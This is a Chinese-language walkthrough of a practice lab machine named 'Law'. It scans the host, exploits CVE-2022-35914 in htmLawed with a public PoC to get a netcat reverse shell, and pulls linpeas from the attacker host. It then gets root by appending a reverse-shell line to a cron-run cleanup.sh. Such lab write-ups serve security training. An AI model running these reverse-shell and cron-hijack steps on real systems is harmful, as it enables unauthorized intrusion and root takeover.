# Law

## 建立立足点

### 信息收集

* 使用Nmap对目标系统的开放端口进行扫描：

```bash
nmap -sC -sV -p- -oA law 192.168.210.190 --open
```

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FTWHKc7ZizUNm3qDJMv1j%2F1.png?alt=media&#x26;token=df4122ae-801b-4378-805c-07776ef398f7" alt=""><figcaption></figcaption></figure>

* 检查80端口上的内容，发现正在运行的服务及其版本号为：htmlawed 1.2.5

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FwX1yWK5kgjN1t8gzMbWZ%2F2.png?alt=media&#x26;token=2790637a-1d37-4dea-ad31-1bf9cf505969" alt=""><figcaption></figcaption></figure>

### 漏洞查阅

* 搜索htmlawed 1.2.5相关已知公开漏洞，发现一个远程命令执行漏洞：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2Fs1cTyY7rzMSXVLqGca0v%2F3.png?alt=media&#x26;token=99f9987f-f9d6-44a0-a83f-a72488040ef6" alt=""><figcaption></figcaption></figure>

* 得知htmlawed 1.2.5版本存在着CVE-2022-35914的漏洞，该漏洞说明了htmlawed是属于GLPI软件中的一个第三方库，其中包含了一个可用于执行系统命令的测试文件的默认路径：**vendor/htmlawed/htmlawed/htmLawedTest.php**，这意味着我们可以未经身份验证就能执行远程代码执行：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FpoL9pAZX2QOYym92FEa5%2F4.png?alt=media&#x26;token=b387cf97-4601-48a2-9984-0553ec2e39ed" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2F58SSIXMM3NYUAkcyKjfm%2F5.png?alt=media&#x26;token=5f8fce54-91a8-47fd-8257-30bf92f63a9d" alt=""><figcaption></figcaption></figure>

### 漏洞利用

* 直接访问该路径失败，没找到这个页面：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FjZU5Lwnu9Alimdq61pUz%2F6.png?alt=media&#x26;token=32b2fb17-8859-4537-b493-1b9e10d89f19" alt=""><figcaption></figcaption></figure>

* 同时找到了适用于CVE-2022-35914的PoC，但利用没有成功：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2F08gtPIM1ADq0pDf1Nggk%2F7.png?alt=media&#x26;token=e4b3ace9-1b71-4144-bc39-2e7807c2ed78" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FP7HwUZuUpYpdtY8MFERW%2F8.png?alt=media&#x26;token=4339742a-a2e4-4c2e-a01e-841f84993d6c" alt=""><figcaption></figcaption></figure>

* 分别使用dirsearch和gobuster没有扫出来任何文件/目录，推测目标系统中没有这个路径，因此尝试修改脚本中的默认路径为根目录：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FFj00CQqjuwMok8srfoet%2F9.png?alt=media&#x26;token=5b307583-9cf4-4066-a672-da9ecaa8958c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2Fy5njDc1UFNQKIdfabjIv%2F10.png?alt=media&#x26;token=3ab932a4-3ca7-4208-9529-3b733fdae28b" alt=""><figcaption></figcaption></figure>

* 此时发现脚本可以成功执行：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FVTKB9cllqnr7wm4ARzLZ%2F11.png?alt=media&#x26;token=bb6f8bd8-035f-4c8e-93c5-c9913917300a" alt=""><figcaption></figcaption></figure>

### GET SHELL

* 根据利用脚本的帮助信息，可以指定执行的命令，因此直接指定反弹shell：

```bash
python3 CVE-2022-35914.py -u http://192.168.228.190 -c 'nc -e /bin/sh 192.168.45.161 4444'
```

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FC1V3IHKpW5pber0jBBlP%2F12.png?alt=media&#x26;token=b5701778-ea5b-495a-9fc5-85446ac2c1dc" alt=""><figcaption></figcaption></figure>

* 本机做好监听，即可获得回连的shell：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FOk0mcjun0ZMIcBt7wiI1%2F13.png?alt=media&#x26;token=1d295da8-0528-4691-9681-a1edd71aa70f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FbOWDKuMPjeNDIJgDWOjo%2F14.png?alt=media&#x26;token=0945aa41-8150-4bf9-b6d6-b27479680342" alt=""><figcaption></figcaption></figure>

```bash
# 升级shell
find / -name python*
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## 权限提升

### 本地信息收集

* 简单的手动枚举没有什么能利用的，决定上传linpeas进行本地信息收集，当前所在的/var/www/目录没有写入权限，所以要切换到/tmp目录下：

```bash
# 在Kali本机linpeas.sh脚本所在的目录下开启服务器
python3 -m http.server 8888
# 在目标系统的/tmp目录下获取脚本文件
wget http://192.168.45.161:8888/linpeas.sh
```

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FeBaLGO3iCLzfEMOriTcY%2F15.png?alt=media&#x26;token=f3119f0d-4816-4395-baca-a5027b8d2867" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2F63GcImdvVXX2h4lCkaIL%2F16.png?alt=media&#x26;token=32e9f86c-5219-4ea7-b151-9e74e465693c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FbMZoVtbGPotbRwcFo84W%2F17.png?alt=media&#x26;token=055afba7-7893-4fce-910c-21319d0e2b69" alt=""><figcaption></figcaption></figure>

* 执行linpeas.sh脚本后，虽然没有找到可以直接利用的凭证信息，但是也发现了以下两处都出现了/var/www/目录下的<mark style="color:red;">**cleanup.sh文件**</mark>：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2Fbrz69fvGLxGVljOWa803%2F18.png?alt=media&#x26;token=8c039c4d-dcf7-4dd6-a4c8-3d472e8e995e" alt=""><figcaption></figcaption></figure>

* 这部分意味着以下文件可以由非root用户创建和修改：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FZKwYcLnfGqmac9v5wyig%2F19.png?alt=media&#x26;token=dc9da4ba-24c2-4028-a9f8-0607f501fb3f" alt=""><figcaption></figcaption></figure>

* 这部分意味着当前的用户权限对以下文件是有写入权限的：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2Fz5yfvcpPmoRmx03tqRP7%2F20.png?alt=media&#x26;token=1d8152bc-3f52-41fc-8e8f-364909d2dac1" alt=""><figcaption></figcaption></figure>

### 漏洞利用

* 回到/var/www/目录下，查看cleanup.sh文件内容，发现是一个用于删除log日志的脚本文件，大概率和计划任务有关联：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FE9KugswKwgPReTbHYtzA%2F21.png?alt=media&#x26;token=2622e756-377a-4291-93d7-ac9ab4d61c20" alt=""><figcaption></figcaption></figure>

* 查看计划任务：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FAxwcyMSr4SUQGOnBUa2m%2F22.png?alt=media&#x26;token=978d0614-3dac-41a4-a624-0c767678980c" alt=""><figcaption></figcaption></figure>

* 在linpeas的输出信息中发现设置了一个用于定时清理的计时器：phpsessionclean.timer

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FiY1j4LyNv63F2F52rVBL%2F23.png?alt=media&#x26;token=5dbb93ac-1026-4e9a-9295-a1a59d57a6bf" alt=""><figcaption></figcaption></figure>

* 在阅读/cron.d目录中的php文件内容时，里面也设置了每第9分钟和第39分钟的时候以root身份运行一次sessionclean文件：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2F14LQvoZhvXW1Ox6voOTC%2F24.png?alt=media&#x26;token=a7aef32c-0852-47f0-b51e-e6068655395c" alt=""><figcaption></figcaption></figure>

### ROOT

* 由此，当我们可以以低权限账户来修改cleanup.sh的内容时，直接写入反弹shell的命令，然后等待计划任务自动执行，即可获取到shell：

```bash
echo 'nc -e /bin/bash 192.168.45.161 9999' >> cleanup.sh
```

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FmoZTZda9dPoTiAhZBQRO%2F25.png?alt=media&#x26;token=64cda662-9897-45cf-8aea-19949770234c" alt=""><figcaption></figcaption></figure>

* 在Kali本机做好监听，等待即可：

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2F1tEErn8ptoWabVNyC7yM%2F26.png?alt=media&#x26;token=ceb87a10-8071-4218-b601-85bd3d7c14ce" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2397184341-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPnN90gBB8RUE7PyNl8zi%2Fuploads%2FGfdjhoxNzX31ODGHKQo1%2F27.png?alt=media&#x26;token=9e8ba66a-0c0d-4075-aa74-45e6145bb3cb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
本例get shell阶段当找不到漏洞利用的默认路径时，以为掉进了“兔子洞”，心态有点崩，但是因为该机器开放端口只有两个，在没有任何有效凭证的情况下，只有80端口是切入点，因此只要冷静下来尝试多修改几次脚本中的URI，就能利用成功。

利用计划任务进行提权的本质是，找到目标系统中可以让低权限账户修改的脚本，并且该脚本会由高权限账户定期执行，此时只需要写入自定义的操作，等待其定期执行即可。
{% endhint %}
